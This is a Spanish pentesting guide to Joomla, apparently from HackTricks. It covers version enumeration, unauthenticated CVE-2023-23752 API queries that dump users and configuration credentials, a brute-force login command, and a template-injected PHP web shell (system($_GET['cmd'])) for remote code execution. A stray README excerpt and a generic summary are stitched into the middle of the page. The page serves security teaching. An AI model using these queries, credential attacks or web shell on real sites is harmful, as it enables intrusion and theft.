Joomla

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Estadísticas de Joomla

Joomla recopila algunas estadísticas de uso anónimas, como el desglose de las versiones de Joomla, PHP y bases de datos, y los sistemas operativos de servidor utilizados en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeración

Descubrimiento/Rastreo

  • Verificar la meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla Enumeration

Joomla es un sistema de gestión de contenido popular que a menudo se encuentra en servidores web. Para enumerar información sobre un sitio Joomla, se pueden seguir los siguientes pasos:

  1. Identificar el sitio Joomla: Buscar pistas en la URL, como /administrator o /components.

  2. Utilizar herramientas de enumeración: Herramientas como Joomscan pueden ayudar a identificar la versión de Joomla y posibles vulnerabilidades.

  3. Enumerar usuarios: Buscar usuarios registrados en el sitio Joomla.

  4. Enumerar extensiones: Identificar las extensiones instaladas en el sitio, ya que pueden ser puntos de entrada para ataques.

Joomla Exploitation

Una vez que se ha enumerado la información sobre un sitio Joomla, se pueden buscar formas de explotar posibles vulnerabilidades. Algunas técnicas comunes incluyen:

  1. Explotar vulnerabilidades conocidas: Utilizar exploits conocidos para la versión de Joomla específica.

  2. Ataques de fuerza bruta: Intentar credenciales débiles o predeterminadas para acceder al panel de administración.

  3. Cross-Site Scripting (XSS): Buscar formas de inyectar scripts maliciosos en el sitio Joomla.

  4. SQL Injection: Intentar inyectar código SQL para manipular la base de datos del sitio.

Al realizar pruebas de penetración en un sitio Joomla, es importante obtener autorización explícita del propietario del sitio para evitar consecuencias legales.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versión

  • En /administrator/manifests/files/joomla.xml puedes ver la versión.

  • En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.

  • En plugins/system/cache/cache.xml puedes ver una versión aproximada.

droopescan scan joomla --url http://joomla-site.local/

En 80,443 - Metodología de Pentesting Web es una sección sobre escáneres de CMS que pueden escanear Joomla.

Divulgación de Información no Autenticada de la API:

Las versiones de 4.0.0 a 4.2.7 son vulnerables a la divulgación de información no autenticada (CVE-2023-23752) que volcará credenciales y otra información.

  • Usuarios: http://<host>/api/v1/users?public=true

  • Archivo de Configuración: http://<host>/api/index.php/v1/config/application?public=true

Módulo MSF: scanner/http/joomla_api_improper_access_checks o script ruby: 51334

Fuerza Bruta

Puedes usar este script para intentar realizar un ataque de fuerza bruta al inicio de sesión.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Si lograste obtener las credenciales de administrador puedes RCE dentro de ella agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.

  1. Haz clic en Templates en la parte inferior izquierda bajo Configuration para abrir el menú de plantillas.

  2. Haz clic en un nombre de plantilla. Vamos a elegir protostar bajo el encabezado de columna Template. Esto nos llevará a la página Templates: Customise.

  3. Finalmente, puedes hacer clic en una página para ver el código fuente. Vamos a elegir la página error.php. Agregaremos un comando PHP en una línea para ejecutar código de la siguiente manera:

  4. system($_GET['cmd']);

  5. Guardar y cerrar

  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Última actualización